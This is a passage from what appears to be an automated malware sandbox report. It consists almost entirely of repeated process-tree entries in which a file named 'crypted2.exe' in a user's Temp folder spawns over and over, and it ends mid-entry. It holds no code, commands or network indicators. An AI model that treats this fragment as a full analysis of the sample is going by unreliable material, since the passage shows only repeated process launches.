      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10056
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10100
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10108
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10116
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10124
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10140
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10176
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9320
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6100
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9440
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5336
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6664
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6596
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2920
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9536
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9412
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8880
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9180
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9272
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10156
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6660
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3192
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9312
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9260
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9336
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10280
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10296
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10304
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10344
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10376
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10400
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10408
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10444
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10452
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10460
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10468
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10492
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10516
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10528
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10536
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10548
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10632
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10664
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10672
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10704
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10712
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10728
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10736
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10748
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10796
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10804
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10812
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10820
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10828
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10844
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10860
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10908
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10952
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11004
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11028
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11044
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11240
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
